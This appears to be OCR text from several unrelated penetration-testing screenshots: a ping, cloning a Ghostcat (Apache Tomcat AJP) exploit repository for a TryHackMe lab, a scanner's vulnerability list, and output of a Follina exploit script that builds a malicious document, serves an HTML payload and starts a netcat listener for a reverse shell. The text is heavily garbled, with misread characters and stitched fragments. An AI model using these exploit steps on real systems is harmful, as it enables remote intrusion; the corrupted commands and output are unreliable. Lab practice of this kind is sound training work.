Pinging 192.168.1.11 with 32 bytes of data:

Reply from 192.168.1.11: bytes=32 time<lms TTL=128
Reply from 192.168.1.11: time<lms TTL=128
Reply from 192.168.1.11: time<lms TTL=128
Reply from 192.168.1.11: time<lms TTL=128

Ping statistics for 192.168.1.11:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:

Minimum = Oms, Maximum = Oms, Average = Oms
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john@xpsi5:~/ctf/tryhackne /tonghost$ git clone "https://github.com/@0theway/Ghostcat-CNVD-2020-10487"
Cloning into 'Ghostcat-CNVD-2020-10487'...

remote: Enumerating objects: 50, done.

remote: Counting objects: 180% (50/56), done.

remote: Compressing objects: 100% (49/49), done.

remote: Total 50 (delta 17), reused 2 (delta @), pack-reused 0

Unpacking objects: 100% (50/50), done.

john@xps15:~/ctf/tryhackne/tomghosts
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(OM@APS 15 /iy CkTE LOMAPOST/CNOSEIZE NVD-L020-10487 1323

john@xps1s ~Jctf/tryhackme/tomghost$ git clone "https://github.com/@0theway/Ghostcat-CNVD-2020-10487"
Cloning into 'Ghostcat-CNVD-2020-10487'...

remote: Enumerating objects: 50, done.

remote: Counting objects: 180% (50/50), done.

remote: Compressing objects: 100% (49/49), done.

remote: Total 50 (delta 17), reused 2 (delta @), pack-reused 0
Unpacking objects: 100% (50/50), done.
john@xpsi5:~ctf/tryhackme/tomghost$ cd Ghostcat-CNVD-2020-18487/
john@xps15:~/ctf/tryhackme/tomghost/Ghostcat-CNVD-2020-104875 1s
rw-r--r-- 278k john 22 Apr 22:20 ajp-execute.png

408k john 22 Apr 22:20 ajp-read.png

292k john 22 Apr 22:20 ajp-save.png

13k john 22 Apr 22:20 ajpShooter.py

.rw-r--r-- 1.9k john 22 Apr 22:20 README.md
john@xps15:~/ctf/tryhackne/tomghost/Ghostcat-CNVD-2020-104874§
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Weak MAC Algorithm(s) Supported (s5H)
Eclipse Jetty Session Vuinerabilty (GHSA-mGcp-x-65i6) - Windows

SSUTLS: Dife-Hellman Key Exchange Insufiicent DH Group Strength Vulnerability
SSUTLS: Dife-Hellman Key Exchange Insufiicent DH Group Strength Vulnerability
SSU/TLS: Deprecated TLSv1.0 and TSvL1 Protocol Detected

SSU/TLS: Deprecated TLSv1.0 and TSvL1 Protocol Detected

SSU/TLS: Deprecated TLSv1.0 and TSvL1 Protocol Detected

SSU/TLS: Deprecated TLSv1.0 and TSvL1 Protocol Detected

SSU/TLS: Deprecated TLSv1.0 and TSvL1 Protocol Detected

SSU/TLS: Deprecated TLSv1.0 and TSvL1 Protocol Detected

SSU/TLS: Deprecated TLSv1.0 and TSvL1 Protocol Detected

Telnet Unencrypted Cleartext Login

Telnet Unencrypted Cleartext Login
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Missing ‘httpOriy’ Cookie Attribute:

DCE/RPC and MSRPC Services Enumeration Reporting

SMTP Server on non-standard port

DCE/RPC and MSRPC Services Enumeration Reporting

SSUTLS: Certificate Expired

SSU/TLS: Renegotiation Dos Vulnerability *

SSU/TLS: Renegotiation Dos Vulnerability *

Weak Key Bxchange (KEX) Algorithm(s) Supported (5SH)

Weak (small) Public Key Sizels) (5SH)

SSI/TLS: Server Certificate/ Certficate in Chain with RSA keys less than 2048 bits.
SSU/TLS: Deprecated SS1v2 and $5L3 Protocol Detection

SSU/TLS: Missing 'secure’ Cookie Attribute.

Hisilicon ASIC Firmware Mutlple Vulnerabiities

SSI/TLS: Report Vulnerable Cipher Suites for HTTPS.

‘Apache Tomcat AJP RCE Vulnerability (Ghostcat)
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0 tons fottina.py r 9999
[+] copled staging doc /tmp/pikxybTu
[+] created maldoc ./follina.doc
(4] serving htal payload on 8000
[4] starting ‘nc “lvnp 9999°
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